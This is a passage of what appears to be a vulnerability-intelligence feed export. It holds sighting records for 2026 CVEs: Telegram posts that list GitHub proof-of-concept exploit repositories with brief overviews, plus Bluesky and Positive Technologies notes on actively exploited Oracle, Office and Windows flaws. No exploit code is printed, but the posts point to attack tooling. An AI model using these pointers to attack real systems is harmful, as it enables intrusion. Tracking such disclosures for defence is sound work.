Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.774434Z"}, {"uuid": "badff483-7a43-4a2a-9c9d-9c87436c3812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17080", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.961278Z"}, {"uuid": "5d8f67ec-17eb-4907-8747-5b90eb3222d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/stridingtech.bsky.social/post/3mu7k2entgw2v", "content": "CISA has added the maximum-severity Oracle vulnerability CVE-2026-21962 to its KEV catalog following confirmed active exploitation in the wild. Immediate patching is critical for enterprise networks. \n\n#Cybersecurity https://stridingtech.com/archives/6425", "creation_timestamp": "2026-08-29T09:14:57.263840Z"}, {"uuid": "cff71633-2f90-47e5-aa00-165b940cbd14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17066", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are fresh CVE PoC repositories actively updated or recently surfaced on GitHub, selected to avoid duplicates and outdated entries.\n\n1\ufe0f\u20e3 CVE-2026-20841\n\ud83c\udfaf Windows Notepad \u2013 Potential RCE (PoC)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/BTtea/CVE-2026-20841-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept targeting Windows Notepad (< 11.2510) demonstrates a possible remote code execution scenario through crafted input handling.\n\n\u2699\ufe0f Impact\n\u2022 Potential RCE vector\n\u2022 Local exploitation scenario\n\u2022 Early-stage PoC (research-focused)\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-28292\n\ud83c\udfaf simple-git (Node.js) \u2013 Remote Code Execution\n\n\ud83e\udde0 Overview\nA critical vulnerability in the widely used simple-git library allows attackers to achieve remote code execution due to improper case-sensitive validation in security logic.\nA single missing regex flag allows bypass of previous security patches.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Patch bypass\n\u2022 Affects millions of installations\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-29000\n\ud83c\udfaf pac4j-jwt \u2013 Authentication Bypass (CVSS 10)\n\n\ud83e\udde0 Overview\nA critical flaw in pac4j-jwt allows attackers to forge authentication tokens using only a public key, enabling full account takeover.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Admin account takeover\n\u2022 CVSS 10.0 Critical\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21858\n\ud83c\udfaf n8n Workflow \u2013 Critical Vulnerability Detection / Exploit Path\n\n\ud83d\udd17 GitHub Topic\nhttps://github.com/topics/cve-2026-21858\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting n8n workflow automation platforms, with tools and PoC-related detection scripts available on GitHub.\n\n\u2699\ufe0f Impact\n\u2022 Workflow compromise\n\u2022 Automation abuse\n\u2022 CVSS 10.0\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-XXXX (Fresh Aggregated PoC Stream)\n\ud83c\udfaf Live GitHub PoC Feed (Auto-Collected CVEs)\n\n\ud83d\udd17 Repository\nhttps://github.com/nomi-sec/PoC-in-GitHub\n\n\ud83e\udde0 Overview\nThis repository continuously collects newly published CVE PoCs across GitHub, making it one of the most reliable sources for real-time vulnerability tracking.\n\n\u2699\ufe0f Impact\n\u2022 Continuous PoC discovery\n\u2022 Daily vulnerability tracking\n\u2022 Research automation source\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese entries are useful for:\n\u2022 Tracking real PoC release timing\n\u2022 Studying patch bypass techniques\n\u2022 Monitoring emerging exploit trends\n\u2022 Building automated CVE intelligence pipelines\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:07.307027Z"}, {"uuid": "7e6878d7-9997-424e-917a-4266e30b2b52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-27)", "content": "", "creation_timestamp": "2026-07-28T10:15:23.164919Z"}, {"uuid": "cc8de842-7eb3-4272-aa24-62c241db707f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21962", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mtxpdvuyw22w", "content": "\ud83d\udea8 CVE-2026-21962 \u2014 Oracle WebLogic / HTTP Server Critical Vulnerability\n\nCVSS 10.0 \u2022 No authentication required \u2022 Network exploitable \u2022 Active exploitation confirmed \u2022 Added to CISA KEV.\n\nstemshop.top/blog/cve-202...\n\n#CVE #CVE202621962 #Oracle #WebLogic #CyberSecurity #InfoSec #CISA #Vulnerability", "creation_timestamp": "2026-08-26T06:28:34.785810Z"}, {"uuid": "fe695667-60eb-42b6-afe1-8867fb3c884c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/Positive_Technologies/4049", "content": "\u0410 \u043c\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u043b\u0438 \ud83d\ude10\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 PT ESC \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-21509 (PT-2026-4775) \u0432 Microsoft Office, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \n\n1\ufe0f\u20e3 \u0412 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430 RTF, \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c. \u041f\u0438\u0441\u044c\u043c\u0430 \u0431\u044b\u043b\u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u044b \u043f\u043e\u0434 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443. \n\n2\ufe0f\u20e3 \u0412\u043d\u0443\u0442\u0440\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0441\u044f OLE-\u043e\u0431\u044a\u0435\u043a\u0442 \u0441 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043d\u044b\u043c\u0438 \u0434\u0432\u0438\u0436\u043a\u0430\u043c\u0438 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. OLE \u2014 \u044d\u0442\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f Microsoft, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0438\u043b\u0438 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432 \u0434\u0440\u0443\u0433\u043e\u0435.\n\n3\ufe0f\u20e3 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 Microsoft Office, \u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0441\u043e\u0444\u0442\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 OLE-\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432.\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u043e\u0439 \u0435\u0449\u0435 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435, \u043f\u0435\u0440\u0432\u0430\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u044b\u043b\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 25 \u0444\u0435\u0432\u0440\u0430\u043b\u044f. \u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Microsoft Office.\n\n\u0415\u0441\u043b\u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0449\u0438\u0442\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b\u0435 ESCalator.\n\n@Positive_Technologies", "creation_timestamp": "2026-07-28T14:00:05.388076Z"}, {"uuid": "e93c2fa1-70f7-483d-accd-d2a70c6cc8a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21519", "type": "exploited", "source": "https://t.me/Positive_Technologies/4061", "content": "\ud83d\udc36 \u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft\n\n\u041d\u0430\u0448\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u043e\u043a\u043e\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u041e\u0421 Windows. \u041a\u0430\u0436\u0434\u0430\u044f \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 MaxPatrol VM \u0443\u0436\u0435 \u0432 \u043a\u0443\u0440\u0441\u0435 \u044d\u0442\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432, \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u043c \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0435.\n\n1\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Desktop Window Manager (DWM)\nPT-2026-7404 (CVE-2026-21519, CVSS \u2014 7,8)\n\n\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432, \u0445\u0430\u043a\u0435\u0440 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043c\u0430\u043d\u0443\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u0434 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\u0441\u0435\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n2\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (RDS)\nPT-2026-7412 (CVE-2026-21533, CVSS \u2014 7,8)\n\n\u0418\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f SYSTEM.\n\n\u0418\u043c\u0435\u044f \u0442\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0445\u0430\u043a\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0412\u041f\u041e \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c.\n\n\u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0442\u0435\u043d\u0435\u0432\u044b\u0445 \u0444\u043e\u0440\u0443\u043c\u043e\u0432 \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430 $220\u202f000.\n\n3\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Windows Shell\nPT-2026-7396 (CVE-2026-21510, CVSS \u2014 8,8)\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438 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\u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n4\ufe0f\u20e3 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Word\nPT-2026-7400 (CVE-2026-21514, CVSS \u2014 7,8)\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 OLE (\u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0441\u0442\u0430\u0432\u043a\u0438 \u0438 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\u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u044b.\n\n\u0414\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u0436\u0435\u0440\u0442\u0432\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Office. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 